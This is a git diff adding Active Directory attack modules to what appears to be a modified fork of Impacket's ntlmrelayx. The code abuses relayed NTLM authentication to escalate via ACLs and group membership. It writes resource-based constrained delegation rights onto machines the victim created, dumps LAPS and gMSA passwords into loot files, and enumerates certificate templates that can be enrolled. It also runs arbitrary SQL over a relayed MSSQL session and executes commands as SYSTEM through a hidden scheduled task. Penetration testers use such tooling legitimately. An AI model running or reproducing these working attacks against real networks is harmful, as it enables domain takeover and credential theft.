+    def getUserInfo(self, domainDumper, samname):
+        entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
+        try:
+            dn = self.client.entries[0].entry_dn
+            sid = self.client.entries[0]['objectSid']
+            return (dn, sid)
+        except IndexError:
+            LOG.error('User not found in LDAP: %s' % samname)
+            return False
+
+    def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):
+        standardrights = [
+            self.GENERIC_ALL,
+            self.GENERIC_WRITE,
+            self.GENERIC_READ,
+            ACCESS_MASK.WRITE_DACL
+        ]
+        for entry in entries:
+            if entry['type'] != 'searchResEntry':
+                continue
+            dn = entry['dn']
+            try:
+                sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
+            except IndexError:
+                # We don't have the privileges to read this security descriptor
+                LOG.debug('Access to security descriptor was denied for DN %s', dn)
+                continue
+            hasFullControl = False
+            secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
+            secDesc.fromString(sdData)
+            if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:
+                sid = secDesc['OwnerSid'].formatCanonical()
+                LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))
+                hasFullControl = True
+            # Iterate over all the ACEs
+            for ace in secDesc['Dacl'].aces:
+                sid = ace['Ace']['Sid'].formatCanonical()
+                if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
+                    continue
+                if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):
+                    # ACE is set on this object, but only inherited, so not applicable to us
+                    continue
+
+                # Check if the ACE has restrictions on object type (inherited case)
+                if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
+                    and ace.hasFlag(ACE.INHERITED_ACE) \
+                    and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
+                    # Verify if the ACE applies to this object type
+                    inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
+                    if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]):
+                        continue
+                # Check for non-extended rights that may not apply to us
+                if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):
+                    # Check if this applies to our objecttype
+                    if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE  and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
+                        objectType = bin_to_string(ace['Ace']['ObjectType']).lower()
+                        if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]):
+                            # LOG.debug('ACE does not apply, only to %s', objectType)
+                            continue
+                if sid in membersids:
+                    # Generic all
+                    if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):
+                        LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid]))
+                        hasFullControl = True
+                    if can_create_users(ace) or hasFullControl:
+                        if not hasFullControl:
+                            LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
+                        if dn == 'CN=Users,%s' % domainDumper.root:
+                            # We can create users in the default container, this is preferred
+                            privs['create'] = True
+                            privs['createIn'] = dn
+                        else:
+                            # Could be a different OU where we have access
+                            # store it until we find a better place
+                            if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']:
+                                privs['create'] = True
+                                privs['createIn'] = dn
+                    if can_add_member(ace) or hasFullControl:
+                        if b'group' in entry['raw_attributes']['objectClass']:
+                            # We can add members to a group
+                            if not hasFullControl:
+                                LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
+                            privs['escalateViaGroup'] = True
+                            privs['escalateGroup'] = dn
+                    if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:
+                        # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to
+                        # a property, which is both weird and useless, so we skip it
+                        if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
+                            and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
+                            # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')
+                            continue
+                        if not hasFullControl:
+                            LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
+                        # We can modify the domain Dacl
+                        if b'domain' in entry['raw_attributes']['objectClass']:
+                            privs['aclEscalate'] = True
+                            privs['aclEscalateIn'] = dn
+
+    @staticmethod
+    def aceApplies(ace_guid, object_class):
+        '''
+        Checks if an ACE applies to this object (based on object classes).
+        Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
+        If this is not set, the ACE applies to all object types.
+        '''
+        try:
+            our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]
+        except KeyError:
+            return False
+        if ace_guid == our_ace_guid:
+            return True
+        # If none of these match, the ACE does not apply to this object
+        return False
+
+    def dumpADCS(self):
+
+        def is_template_for_authentification(entry):
+            authentication_ekus = [b"1.3.6.1.5.5.7.3.2", b"1.3.6.1.5.2.3.4", b"1.3.6.1.4.1.311.20.2.2", b"2.5.29.37.0"]
+
+            # Ignore templates requiring manager approval
+            if entry["attributes"]["msPKI-Enrollment-Flag"] & 0x02:
+                return False
+
+            # No EKU = works for client authentication
+            if not len(entry["raw_attributes"]["pKIExtendedKeyUsage"]):
+                return True
+
+            try:
+                next((eku for eku in entry["raw_attributes"]["pKIExtendedKeyUsage"] if eku in authentication_ekus))
+                return True
+            except StopIteration:
+                return False
+
+        def get_enrollment_principals(entry):
+            # Mostly taken from github.com/ly4k/Certipy/certipy/security.py
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
+            sd.fromString(entry["raw_attributes"]["nTSecurityDescriptor"][0])
+
+            enrollment_uuids = [
+                "00000000-0000-0000-0000-000000000000", # All-Extended-Rights
+                "0e10c968-78fb-11d2-90d4-00c04f79dc55", # Certificate-Enrollment
+                "a05b8cc2-17bc-4802-a710-e7c15ab866a2", # Certificate-AutoEnrollment
+            ]
+
+            enrollment_principals = set()
+
+            for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE):
+                sid = format_sid(ace["Ace"]["Sid"].getData())
+                if ace["Ace"]["ObjectTypeLen"] == 0:
+                    uuid = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
+                else:
+                    uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower()
+
+                if not uuid in enrollment_uuids:
+                    continue
+
+                enrollment_principals.add(sid)
+
+            return enrollment_principals
+
+        def translate_sids(sids):
+            default_naming_context = self.client.server.info.other["defaultNamingContext"][0]
+            try:
+                domain_fqdn = self.client.server.info.other["ldapServiceName"][0].split("@")[1]
+            except (KeyError, IndexError):
+                domain_fqdn = ""
+
+            sid_map = dict()
+
+            for sid in sids:
+                try:
+                    if sid.startswith("S-1-5-21-"):
+                        self.client.search(default_naming_context, "(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))" % sid,
+                                    attributes=["name", "objectSid"], search_scope=ldap3.SUBTREE)
+                    else:
+                        self.client.search("CN=WellKnown Security Principals," + configuration_naming_context,
+                                    "(&(objectSid=%s)(objectClass=foreignSecurityPrincipal))" % sid, attributes=["name", "objectSid"],
+                                    search_scope=ldap3.LEVEL)
+                except:
+                    sid_map[sid] = sid
+                    continue
+
+                if not len(self.client.response):
+                    sid_map[sid] = sid
+                else:
+                    sid_map[sid] = domain_fqdn + "\\" + self.client.response[0]["attributes"]["name"]
+
+            return sid_map
+
+
+        LOG.info("Attempting to dump ADCS enrollment services info")
+
+        configuration_naming_context = self.client.server.info.other['configurationNamingContext'][0]
+
+        enrollment_service_attributes = ["certificateTemplates", "displayName", "dNSHostName", "msPKI-Enrollment-Servers", "nTSecurityDescriptor"]
+        self.client.search("CN=Enrollment Services,CN=Public Key Services,CN=Services," + configuration_naming_context,
+                           "(objectClass=pKIEnrollmentService)", search_scope=ldap3.LEVEL, attributes=enrollment_service_attributes,
+                           controls=security_descriptor_control(sdflags=0x04))
+
+        if not len(self.client.response):
+            LOG.info("No ADCS enrollment service found")
+            return
+
+        offered_templates = set()
+        sid_map = dict()
+        for entry in self.client.response:
+            LOG.info("Found ADCS enrollment service `%s` on host `%s`, offering templates: %s" % (entry["attributes"]["displayName"],
+                     entry["attributes"]["dNSHostName"], ", ".join(("`" + tpl + "`" for tpl in entry["attributes"]["certificateTemplates"]))))
+
+            offered_templates.update(entry["attributes"]["certificateTemplates"])
+            enrollment_principals = get_enrollment_principals(entry)
+
+            known_sids = set(sid_map.keys())
+            unknwown_sids = enrollment_principals.difference(known_sids)
+            sid_map.update(translate_sids(unknwown_sids))
+
+            LOG.info("Principals who can enroll on enrollment service `%s`: %s" % (entry["attributes"]["displayName"],
+                     ", ".join(("`" + sid_map[principal] + "`" for principal in enrollment_principals))))
+
+        if not len(offered_templates):
+            LOG.info("No templates offered by the enrollment services")
+            return
+
+        LOG.info("Attempting to dump ADCS certificate templates enrollment rights, for templates allowing for client authentication and not requiring manager approval")
+
+        certificate_template_attributes = ["msPKI-Enrollment-Flag", "name", "nTSecurityDescriptor", "pKIExtendedKeyUsage"]
+        self.client.search("CN=Certificate Templates,CN=Public Key Services,CN=Services," + configuration_naming_context,
+                           "(&(objectClass=pKICertificateTemplate)(|%s))" % "".join(("(name=" + escape_filter_chars(tpl) + ")" for tpl in offered_templates)),
+                           search_scope=ldap3.LEVEL, attributes=certificate_template_attributes,
+                           controls=security_descriptor_control(sdflags=0x04))
+
+        for entry in (e for e in self.client.response if is_template_for_authentification(e)):
+            enrollment_principals = get_enrollment_principals(entry)
+
+            known_sids = set(sid_map.keys())
+            unknwown_sids = enrollment_principals.difference(known_sids)
+            sid_map.update(translate_sids(unknwown_sids))
+
+            LOG.info("Principals who can enroll using template `%s`: %s" % (entry["attributes"]["name"],
+                     ", ".join(("`" + sid_map[principal] + "`" for principal in enrollment_principals))))
+
+    def MFdelegateAttack(self, usersam, targetsam, domainDumper, sid, ssid):
+        global delegatePerformedUser
+
+        if not usersam:
+            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
+            self.config.escalateuser = usersam
+            
+        if not sid:
+            # Get escalate user sid
+            result = self.getUserInfo(domainDumper, usersam)
+            if not result:
+                LOG.error('User to escalate does not exist!')
+                return
+            escalate_sid = str(result[1]) # sid 
+        else:
+            escalate_sid = usersam
+
+        #获得被攻击者账户创建的机器账户 
+
+        AttackList = self.getCreatorSID(domainDumper, ssid);
+        # LOG.debug(AttackList)
+        # LOG.debug(escalate_sid)
+        if AttackList is False:
+            LOG.info('Cannot find a computer with mS-DS-CreatorSID %s' % ssid)
+            return
+        
+        LOG.info("Try to modifiy delegation rights")
+
+        for Attack in AttackList:
+            self.addDelegation(Attack[0], escalate_sid)
+
+        delegatePerformedUser.append(targetsam)
+    
+    def addDelegation(self,target_dn,escalate_sid):
+        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity','name'])
+        targetuser = None
+        for entry in self.client.response:
+            if entry['type'] != 'searchResEntry':
+                continue
+            targetuser = entry
+        if not targetuser:
+            LOG.error('Could not query target user properties')
+            return False
+        
+        try:
+            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
+            LOG.debug('Currently allowed sids:')
+            for ace in sd['Dacl'].aces:
+                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
+        except IndexError:
+            sd = create_empty_sd()
+
+        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
+        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
+        if self.client.result['result'] == 0:
+            LOG.info('Delegation rights modified succesfully!')
+            LOG.info('%s can now impersonate users on %s via S4U2Proxy', self.config.escalateuser, targetuser['attributes']['name'])
+            return True
+        else:
+            if self.client.result['result'] == 50:
+                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
+            elif self.client.result['result'] == 19:
+                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
+            else:
+                LOG.error('The server returned an error: %s', self.client.result['message'])
+        return False
+
+    def userdelegateAttack(self, usersam, targetsam, domainDumper, sid):
+        global delegatePerformedUser
+        if targetsam in delegatePerformedUser:
+            LOG.info('Delegate attack already performed for this User: %s, skipping' % targetsam)
+            return
+
+        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(targetsam), attributes=['objectSid', 'primaryGroupId'])
+        
+        user = self.client.entries[0]
+        usersid = user['objectSid'].value
+        
+        tmp_flag = self.getCreatorSID(domainDumper, usersid)
+        LOG.info('Try to find the computer with mS-DS-CreatorSID %s' % usersid)
+        if tmp_flag is not False:
+            for x in tmp_flag:
+                LOG.info('DN : %s SID : %s' % (x[0], x[1]))
+        
+        self.MFdelegateAttack(usersam, targetsam, domainDumper, sid, usersid)
+
+    def getCreatorSID(self, domainDumper, usersid):
+    # 传入usersid，传出域当中该createerID为该用户的机器账户信息
+        entries = self.client.search(domainDumper.root, '(mS-DS-CreatorSID=%s)' % escape_filter_chars(usersid),
+                                    attributes=['objectSid'])
+        result=[]
+        # try:
+        #     dn = self.client.entries[0].entry_dn
+        #     sid = self.client.entries[0]['objectSid']
+        #     return (dn, sid)
+        # except IndexError:
+        #     LOG.error('User not found in LDAP: %s' % samname)
+        #     return False
+        
+        for i in range(0,len(self.client.entries)):
+            try:
+                dn = self.client.entries[i].entry_dn
+                sid = self.client.entries[i]['objectSid']
+
+                result.append((dn, sid))
+
+            except IndexError:
+                return False
+        return result
+
+
+
+    def run(self):
+        #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
+        #print self.client.entries
+        global dumpedDomain
+        global dumpedAdcs
+        # Set up a default config
+        domainDumpConfig = ldapdomaindump.domainDumpConfig()
+
+        # Change the output directory to configured rootdir
+        domainDumpConfig.basepath = self.config.lootdir
+
+        # Create new dumper object
+        domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)
+
+
+        if self.config.interactive:
+            if self.tcp_shell is not None:
+                LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)
+                # Start listening and launch interactive shell.
+                self.tcp_shell.listen()
+                ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)
+                ldap_shell.cmdloop()
+                return
+
+        # If specified validate the user's privileges. This might take a while on large domains but will
+        # identify the proper containers for escalating via the different techniques.
+        if self.config.validateprivs:
+            LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')
+            userSid, privs = self.validatePrivileges(self.username, domainDumper)
+            if privs['create']:
+                LOG.info('User privileges found: Create user')
+            if privs['escalateViaGroup']:
+                name = privs['escalateGroup'].split(',')[0][3:]
+                LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)
+            if privs['aclEscalate']:
+                LOG.info('User privileges found: Modifying domain ACL')
+
+        # If validation of privileges is not desired, we assumed that the user has permissions to escalate
+        # an existing user via ACL attacks.
+        else:
+            LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')
+            privs = dict()
+            privs['create'] = False
+            privs['aclEscalate'] = True
+            privs['escalateViaGroup'] = False
+
+        # We prefer ACL escalation since it is more quiet
+        if self.config.aclattack and privs['aclEscalate']:
+            LOG.debug('Performing ACL attack')
+            if self.config.escalateuser:
+                # We can escalate an existing user
+                result = self.getUserInfo(domainDumper, self.config.escalateuser)
+                # Unless that account does not exist of course
+                if not result:
+                    LOG.error('Unable to escalate without a valid user.')
+                else:
+                    userDn, userSid = result
+                    # Perform the ACL attack
+                    self.aclAttack(userDn, domainDumper)
+            elif privs['create']:
+                # Create a nice shiny new user for the escalation
+                userDn = self.addUser(privs['createIn'], domainDumper)
+                if not userDn:
+                    LOG.error('Unable to escalate without a valid user.')
+                # Perform the ACL attack
+                else:
+                    self.aclAttack(userDn, domainDumper)
+            else:
+                LOG.error('Cannot perform ACL escalation because we do not have create user '\
+                    'privileges. Specify a user to assign privileges to with --escalate-user')
+
+        # If we can't ACL escalate, try adding us to a privileged group
+        if self.config.addda and privs['escalateViaGroup']:
+            LOG.debug('Performing Group attack')
+            if self.config.escalateuser:
+                # We can escalate an existing user
+                result = self.getUserInfo(domainDumper, self.config.escalateuser)
+                # Unless that account does not exist of course
+                if not result:
+                    LOG.error('Unable to escalate without a valid user.')
+                # Perform the Group attack
+                else:
+                    userDn, userSid = result
+                    self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
+
+            elif privs['create']:
+                # Create a nice shiny new user for the escalation
+                userDn = self.addUser(privs['createIn'], domainDumper)
+                if not userDn:
+                    LOG.error('Unable to escalate without a valid user, aborting.')
+                # Perform the Group attack
+                else:
+                    self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
+
+            else:
+                LOG.error('Cannot perform ACL escalation because we do not have create user '\
+                          'privileges. Specify a user to assign privileges to with --escalate-user')
+
+        # Dump LAPS Passwords
+        if self.config.dumplaps:
+            LOG.info("Attempting to dump LAPS passwords")
+
+            success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd'])
+
+            if success:
+
+                fd = None
+                filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999))
+                count = 0
+
+                for entry in self.client.response:
+                    try:
+                        dn = "DN:" + entry['attributes']['distinguishedname']
+                        passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd']
+
+                        if fd is None:
+                            fd = open(filename, "a+")
+
+                        count += 1
+
+                        LOG.debug(dn)
+                        LOG.debug(passwd)
+
+                        fd.write(dn)
+                        fd.write("\n")
+                        fd.write(passwd)
+                        fd.write("\n")
+
+                    except:
+                        continue
+
+                if fd is None:
+                    LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username)
+                else:
+                    LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username))
+                    fd.close()
+
+        #Dump gMSA Passwords
+        if self.config.dumpgmsa:
+            LOG.info("Attempting to dump gMSA passwords")
+
+            if not self.client.tls_started and not self.client.server.ssl:
+                LOG.info('Dumping gMSA password requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')
+                if not self.client.start_tls():
+                    LOG.error('StartTLS failed')
+                    return False
+
+            success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])
+            if success:
+                fd = None
+                filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999))
+                count = 0
+                for entry in self.client.response:
+                    try:
+                        sam = entry['attributes']['sAMAccountName']
+                        data = entry['attributes']['msDS-ManagedPassword']
+                        blob = MSDS_MANAGEDPASSWORD_BLOB()
+                        blob.fromString(data)
+                        hash = MD4.new ()
+                        hash.update (blob['CurrentPassword'][:-2])
+                        passwd = binascii.hexlify(hash.digest()).decode("utf-8")
+                        userpass = sam + ':::' + passwd
+                        LOG.info(userpass)
+                        count += 1
+                        if fd is None:
+                            fd = open(filename, "a+")
+                        fd.write(userpass)
+                        fd.write("\n")
+                    except:
+                        continue
+                if fd is None:
+                    LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username)
+                else:
+                    LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username))
+                    fd.close()
+
+        if not dumpedAdcs and self.config.dumpadcs:
+            dumpedAdcs = True
+            self.dumpADCS()
+            LOG.info("Done dumping ADCS info")
+
+        # Perform the Delegate attack if it is enabled and we relayed a computer account
+        if self.config.delegateaccess and self.username[-1] == '$':
+            self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
+            return
+
+        # Add a new computer if that is requested
+        # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
+        if self.config.addcomputer is not None:
+            self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects'])
+            # Computer well-known GUID
+            # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen
+            computerscontainer = [
+                entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"]
+                if b"AA312825768811D1ADED00C04FD8D5CD" in entry
+            ][0]
+            LOG.debug("Computer container is {}".format(computerscontainer))
+            self.addComputer(computerscontainer, domainDumper)
+            return
+
+        # Perform the Shadow Credentials attack if it is enabled
+        if self.config.IsShadowCredentialsAttack:
+            self.shadowCredentialsAttack(domainDumper)
+            return
+
+        # Last attack, dump the domain if no special privileges are present
+        if not dumpedDomain and self.config.dumpdomain:
+            # Do this before the dump is complete because of the time this can take
+            dumpedDomain = True
+            LOG.info('Dumping domain info for first time')
+            domainDumper.domainDump()
+            LOG.info('Domain info dumped into lootdir!')
+        if self.config.userdelegateaccess:
+            self.userdelegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
+            return
+
+# Create an object ACE with the specified privguid and our sid
+def create_object_ace(privguid, sid):
+    nace = ldaptypes.ACE()
+    nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE
+    nace['AceFlags'] = 0x00
+    acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()
+    acedata['Mask'] = ldaptypes.ACCESS_MASK()
+    acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
+    acedata['ObjectType'] = string_to_bin(privguid)
+    acedata['InheritedObjectType'] = b''
+    acedata['Sid'] = ldaptypes.LDAP_SID()
+    acedata['Sid'].fromCanonical(sid)
+    assert sid == acedata['Sid'].formatCanonical()
+    acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
+    nace['Ace'] = acedata
+    return nace
+
+# Create an ALLOW ACE with the specified sid
+def create_allow_ace(sid):
+    nace = ldaptypes.ACE()
+    nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
+    nace['AceFlags'] = 0x00
+    acedata = ldaptypes.ACCESS_ALLOWED_ACE()
+    acedata['Mask'] = ldaptypes.ACCESS_MASK()
+    acedata['Mask']['Mask'] = 983551 # Full control
+    acedata['Sid'] = ldaptypes.LDAP_SID()
+    acedata['Sid'].fromCanonical(sid)
+    nace['Ace'] = acedata
+    return nace
+
+def create_empty_sd():
+    sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
+    sd['Revision'] = b'\x01'
+    sd['Sbz1'] = b'\x00'
+    sd['Control'] = 32772
+    sd['OwnerSid'] = ldaptypes.LDAP_SID()
+    # BUILTIN\Administrators
+    sd['OwnerSid'].fromCanonical('S-1-5-32-544')
+    sd['GroupSid'] = b''
+    sd['Sacl'] = b''
+    acl = ldaptypes.ACL()
+    acl['AclRevision'] = 4
+    acl['Sbz1'] = 0
+    acl['Sbz2'] = 0
+    acl.aces = []
+    sd['Dacl'] = acl
+    return sd
+
+# Check if an ACE allows for creation of users
+def can_create_users(ace):
+    createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)
+    if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':
+        return False
+    userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2'
+    return createprivs and userprivs
+
+# Check if an ACE allows for adding members
+def can_add_member(ace):
+    writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP)
+    if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':
+        return writeprivs
+    userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2'
+    return writeprivs and userprivs
diff --git a/impacket/examples/ntlmrelayx/attacks/mssqlattack.py b/impacket/examples/ntlmrelayx/attacks/mssqlattack.py
new file mode 100644
index 0000000..4459418
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/mssqlattack.py
@@ -0,0 +1,32 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   MSSQL Attack Class
+#   MSSQL protocol relay attack
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+from impacket import LOG
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+
+PROTOCOL_ATTACK_CLASS = "MSSQLAttack"
+
+class MSSQLAttack(ProtocolAttack):
+    PLUGIN_NAMES = ["MSSQL"]
+    def run(self):
+        if self.config.queries is None:
+            LOG.error('No SQL queries specified for MSSQL relay!')
+        else:
+            for query in self.config.queries:
+                LOG.info('Executing SQL: %s' % query)
+                self.client.sql_query(query)
+                self.client.printReplies()
+                self.client.printRows()
diff --git a/impacket/examples/ntlmrelayx/attacks/rpcattack.py b/impacket/examples/ntlmrelayx/attacks/rpcattack.py
new file mode 100644
index 0000000..8c49319
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/attacks/rpcattack.py
@@ -0,0 +1,129 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Authors:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#   Based on @agsolino and @_dirkjan code
+#
+
+import time
+import string
+import random
+
+from impacket import LOG
+from impacket.dcerpc.v5 import tsch
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
+
+PROTOCOL_ATTACK_CLASS = "RPCAttack"
+
+class TSCHRPCAttack:
+    def _xml_escape(self, data):
+        replace_table = {
+             "&": "&amp;",
+             '"': "&quot;",
+             "'": "&apos;",
+             ">": "&gt;",
+             "<": "&lt;",
+             }
+        return ''.join(replace_table.get(c, c) for c in data)
+
+    def _run(self):
+        # Here PUT YOUR CODE!
+        tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
+
+        cmd = "cmd.exe"
+        args = "/C %s" % self.config.command
+
+        LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding))
+
+        xml = """<?xml version="1.0" encoding="UTF-16"?>
+<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
+  <Triggers>
+    <CalendarTrigger>
+      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
+      <Enabled>true</Enabled>
+      <ScheduleByDay>
+        <DaysInterval>1</DaysInterval>
+      </ScheduleByDay>
+    </CalendarTrigger>
+  </Triggers>
+  <Principals>
+    <Principal id="LocalSystem">
+      <UserId>S-1-5-18</UserId>
+      <RunLevel>HighestAvailable</RunLevel>
+    </Principal>
+  </Principals>
+  <Settings>
+    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
+    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
+    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
+    <AllowHardTerminate>true</AllowHardTerminate>
+    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
+    <IdleSettings>
+      <StopOnIdleEnd>true</StopOnIdleEnd>
+      <RestartOnIdle>false</RestartOnIdle>
+    </IdleSettings>
+    <AllowStartOnDemand>true</AllowStartOnDemand>
+    <Enabled>true</Enabled>
+    <Hidden>true</Hidden>
+    <RunOnlyIfIdle>false</RunOnlyIfIdle>
+    <WakeToRun>false</WakeToRun>
+    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
+    <Priority>7</Priority>
+  </Settings>
+  <Actions Context="LocalSystem">
+    <Exec>
+      <Command>%s</Command>
+      <Arguments>%s</Arguments>
+    </Exec>
+  </Actions>
+</Task>
+        """ % (self._xml_escape(cmd), self._xml_escape(args))
+
+        LOG.info('Creating task \\%s' % tmpName)
+        tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
+
+        LOG.info('Running task \\%s' % tmpName)
+        done = False
+
+        tsch.hSchRpcRun(self.dce, '\\%s' % tmpName)
+
+        while not done:
+            LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
+            resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName)
+            if resp['pLastRuntime']['wYear'] != 0:
+                done = True
+            else:
+                time.sleep(2)
+
+        LOG.info('Deleting task \\%s' % tmpName)
+        tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName)
+        LOG.info('Completed!')
+
+
